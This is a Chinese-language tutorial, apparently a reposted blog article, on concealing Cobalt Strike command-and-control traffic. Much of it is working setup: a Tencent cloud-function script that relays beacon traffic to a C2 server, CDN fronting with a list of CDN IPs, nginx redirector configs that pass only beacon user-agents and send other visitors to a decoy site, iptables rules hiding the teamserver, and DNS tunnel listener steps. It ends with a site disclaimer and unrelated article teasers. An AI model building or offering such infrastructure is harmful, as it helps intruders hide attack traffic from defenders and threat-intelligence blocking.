cobaltstrike 流量隐藏

云函数

新建一个云函数,在代码位置进行修改

image-20240119151501645

首先导入 yisiwei.zip 的云函数包

PYTHON
# -*- coding: utf8 -*-
import json, requests, base64


def main_handler(event, context):
    C2 = 'https://49.xx.xx.xx'  # 这里可以使用 HTTP、HTTPS~下角标~ 
    path = event['path']
    headers = event['headers']
    print(event)
    if event['httpMethod'] == 'GET':
        resp = requests.get(C2 + path, headers=headers, verify=False)
    else:
        resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)
        print(resp.headers)
        print(resp.content)
    response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),
                "body": str(base64.b64encode(resp.content))[2:-1]}
    return response

记得部署

image.png

创建触发器,选择新建的模板和 API 网关触发方式

image-20240119151524839

image-20240119151543820

image-20240119151600716

监听器配置填入地址 service-cv4vqio3-1307700818.sh.apigw.tencentcs.com

image-20240119151629725

image-20240119151658228

CDN

cobaltstrike 监听器设置为 CDN 的地址,HTTPS Host Header 设置为加速的域名

image-20240119151725639

腾讯云 CDN 加速 IP 表,具体可通过多地 ping 域名获取最新的

JAVASCRIPT
1.180.204.161 1.180.204.227 1.198.4.42 106.117.249.12 1.198.4.95
1.31.130.154 101.206.209.141 106.117.249.11  106.117.249.13 106.117.249.14 

腾讯云配置

image-20240119151740445

腾讯云配置一定要设置为不缓存,不然上线一次就不上线了

image-20240119151754380

成功上线

image-20240119151809700

Nginx 域前置

当我们使用原版 CS 挂载到公网 VPS 上会被扫描,大概率会出现以下情况

fa87ba386b6a7051ae2343dd69c30ac.png

很容易致使 VPS 被情报社区标黑,进而导致在实战项目上出现被拦截无法上线的情况

image.png

这时候我们有两个解决方法

修改原版 jar 包默认特征
使用域前置技术配合 nginx 进行转发,防止被扫描

首先是需要一个域名,国内 VPS 需要备案,国外可以使用 cloudflare 进行加速,这里使用的是腾讯云

添加域名后可进行证书下载,这里我们选择 nginx

image.png

申请完成之后对文件进行重命名,生成 cobaltstrike.store

主要用到两个文件 server.pemserver.key

image.png

通过以下命令进行生成

GO
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:123456 

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cobaltstrike.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cloudflare_cert

密码与输入命令需保持一致

image.png

nginx 端口转发注意 profile 必须配置 set trust_x_forwarded_for "true"

image.png

nginx 命令如下

PLAINTEXT
ginx配置文件目录:
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/nginx/conf.d/*.conf

启动nginx:
service nginx restart
systemctl status nginx.service
systemctl restart nginx

重新修改配置
nginx -s reload

http 监听器 default 文件配置

PLAINTEXT
http 转发80端口
编辑/etc/nginx/sites-enabled/default
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name localhost;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

root /var/www/html;

# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;

location / {
    # user_agent与profile配置内容一致。只对上线的请求做端口转发,屏蔽其他流量
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.39 (KHTML, like Gecko) Chrome/92.0.4519.137 Safari/539.39") {
return 404;
}
     
    #转发后的端口12345,可修改为其他端口
proxy_pass http://localhost:12345;
}
}

https 监听器 default 文件配置

PLAINTEXT
server 
{
	listen 443 ssl default_server;
	listen [::]:443 ssl default_server;
	server_name CDN;
	expires    off;              
    proxy_redirect      off;              
    proxy_set_header    Host                $host;              
	proxy_set_header    X-Forwarded-For     $proxy_add_x_forwarded_for;              
	proxy_set_header    X-Real-IP           $remote_addr;              
	
	#ssl证书文件位置
	ssl_certificate   /etc/nginx/conf.d/server.crt;
	ssl_certificate_key /etc/nginx/conf.d/server.key;
	
	root /var/www/html;
	index index.html;
	
	location ~*/(v1/xxx|v2/xxx) 
	{
		if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5396.2 Safari/537.36") 
		{
			return 404;
		}
		#转发后的端口10086,可修改为其他端口
		proxy_pass https://127.0.0.1:10086;
	}
	
	location /
	{
		proxy_pass https://www.baidu.com;
	}
}

除此以外,转发后的端口从外部仍能扫描,因此需要使用 iptables 进行限制

PLAINTEXT
sudo iptables -A INPUT -p tcp --dport 端口号 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 端口号 -j DROP

监听器配置

image.png|400

DNS 隐匿隧道

首先需要购买域名,为什么推荐这个网站,便宜且可以使用支付宝支付,免除需要 VISA、国外信用卡麻烦

https://www.namesilo.com

腾讯云需要配置进行域名验证

image.png

namesilo` 设置 `change nameservers`,12 分别填入腾讯云的两个地址,等待域名状态变为 `Active

image.png

image.png

添加一条 A 记录指向 CS 服务器的公网 IP,再添加几条 NS 记录指向 A 记录域名即可

image.png

监听器新建 DNS 可能会提示 53 端口被占用

解决方案

PLAINTEXT
systemctl stop systemd-resolved 
#停用 systemd-resolved 服务

vi /etc/systemd/resolved.conf
[Resolve]
DNS=8.8.8.8 #取消注释,增加dns
#FallbackDNS=
#Domains=
#LLMNR=no
#MulticastDNS=no
#DNSSEC=no
#Cache=yes
DNSStubListener=no #取消注释,把yes改为no

ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf

监听器配置如下 ns1.xxxx.comns2.xxxx.com

image.png|400

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/551520.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

连续上榜|全息网御实力入选《中国网络安全行业全景图》

2024年4月12日,国内网络安全专业媒体安全牛正式发布第十一版《中国网络安全行业全景图》(以下简称“全景图”)。 本次全景图研究历时近4个月,共收到510家国内安全厂商4941项申报,实际收录2413项(包含部分往…

如何把npm切换成yarn管理项目

1.删掉项目中package-lock.json和依赖包 这一步手动删掉就好 2.全局安装yarn npm install -g yarn 3.可以开始执行yarn install安装依赖 1)执行yarn init 这一步是修改npm生成的package.json文件,可能会遇到这个问题: 这个查了一下是有…

电路笔记 : esp32pico-d4编程

安装 根据文章arduino ESP32 001 从零开始点亮小灯,安装相关软件依赖。 串口驱动 arduino安装 安装完arduino,需要安装esp32相关的开发依赖 不要选Arduino ESP32 Boards(选下边那个),它对应的是背景图片里的板子 网络问题 关…

git报错

这里写自定义目录标题 git报错Permission denied (publickey). fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 有一个原因就是在github上设置对应密钥时,有一个key获取应该设置为…

Docker部署MongoDB数据库

文章目录 官网地址docker 网络mongod.conf部署 MongoDB部署 mongo-expressdocker-compose.ymlMongoDB shell 官网地址 https://www.mongodb.com/zh-cn docker 网络 # 创建 mongo_network 网络 docker network create mongo_network # 查看网络 docker network list # 容器连…

【鸿蒙开发】第二十一章 Media媒体服务(一)

1 简介 Media Kit(媒体服务)提供了AVPlayer和AVRecorder用于播放、录制音视频。 在Media Kit的开发指导中,将介绍各种涉及音频、视频播放或录制功能场景的开发方式,指导开发者如何使用系统提供的音视频API实现对应功能。比如使用…

Windows安装Ollama结合内网穿透实现公网访问本地大语言模型Web交互界面

目录 ⛳️推荐 前言 1. 运行Ollama 2. 安装Open WebUI 2.1 在Windows系统安装Docker 2.2 使用Docker部署Open WebUI 3. 安装内网穿透工具 4. 创建固定公网地址 ⛳️推荐 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍…

Java+Selenium自动化测试环境搭建

🍅 视频学习:文末有免费的配套视频可观看 🍅 关注公众号:互联网杂货铺,回复1 ,免费获取软件测试全套资料,资料在手,涨薪更快 本主要介绍以Java为基础,搭建Selenium自动化…

操作系统-一个学习能力的新高度

目录 一、目标二、计划三、完成情况四、提升改进(最少3点)五、意外之喜(最少2点)六、总结 一、目标 通过考试,当然这是眼前目标;通过对知识的学习,补上在计算机中那些透明的东西,从而让知识可以按照逻辑一层一层的构建知识大厦&a…

模仿银行系统的极简Java三层结构应用——转账功能的实现

我们今天来给系统加上转账功能。转账功能说白了就是给两个账户同时存取款,相对于存取款就多了一个账户的比对。 首先,用户表现层: 是用户表现界面要添加一条转账功能的提示: 这没什么说的,下面就是在switch里写相应的…

基于python的二手房数据分析建模及可视化研究,爬取链家二手房数据,可视化分析,房价预测模型

介绍 主要涉及通过爬取济南市链家二手房数据,然后对数据进行处理,包括缺省值处理,高德地图获取二手房地址所属市区,经纬度等数据处理。然后通过python的flask框架编写后端接口,把数据响应给前端。然后前端通过AJAX请求…

Wireshark TS | 再谈应用传输缓慢问题

问题背景 来自于朋友分享的一个案例,某某客户反馈电脑应用软件使用时打开很慢,并提供了一个慢时所捕获的数据包文件以及服务端 IP。以前也说过,所谓的慢有很多种现象,也会有很多原因引起,在没有更多输入条件的情况下&…

vscode中运行js

vscode中运行js 目前vscode插件运行js都是基于node环境,vscode控制台打印有些数据不方便等缺点。 每次调试在浏览器中运行js,需要创建html模板、插入js。期望能够直接运行js可以打开浏览器运行js,在vscode插件市场找到一款插件可以做到。 插…

从汇编代码理解数组越界访问漏洞

数组越界访问漏洞是 C/C 语言中常见的缺陷,它发生在程序尝试访问数组元素时未正确验证索引是否在有效范围内。通常情况下,数组的索引从0开始,到数组长度减1结束。如果程序尝试访问小于0或大于等于数组长度的索引位置,就会导致数组…

SpringBoot之JWT令牌校验

SpringBoot之JWT令牌校验 本文根据黑马b站springboot3vue3课程 JWT (JSON Web Token)是一种开放标准(RFC 7519),用于在不同实体之间安全地传输信息。它由三个部分组成:头部(Header)…

Python实现BOA蝴蝶优化算法优化LightGBM回归模型(LGBMRegressor算法)项目实战

说明:这是一个机器学习实战项目(附带数据代码文档视频讲解),如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 蝴蝶优化算法(butterfly optimization algorithm, BOA)是Arora 等人于2019年提出的一种元启发式智能算…

Zabbix监控Windows

1.在虚拟机中安装zabbix 安装系统一直托不进虚拟机中;因为没安装Tools组件 点击虚拟机,选择安装VMware Tools 2.配置zabbix

SQLite的PRAGMA 声明(二十三)

返回:SQLite—系列文章目录 上一篇:SQLite从出生到现在(发布历史记录)(二十二) 下一篇:用于 SQLite 的异步 I/O 模块(二十四) PRAGMA 语句是特定于 SQLite 的 SQL 扩…

软件项目管理 - PERT 图

文章目录 1 概述1.1 PERT 图1.2 基础概念 2 相关计算2.1 最早时刻2.2 最迟时刻2.3 关键路径2.4 松弛时间 1 概述 1.1 PERT 图 PERT:Program Evaluation and Review Technique(项目评估与评审技术) PERT 图是一个有向图,图中的箭…

为什么还有人再问鸿蒙开发有必要学吗?

前言 学习鸿蒙开发,这事儿真的挺有必要的。鸿蒙操作系统,它厉害就厉害在高性能、可扩展,还特智能。现在智能设备和物联网火得不行,鸿蒙就是要成为这个时代的领头羊。它可不是来跟安卓抢饭碗的,它的眼光可远了&#xf…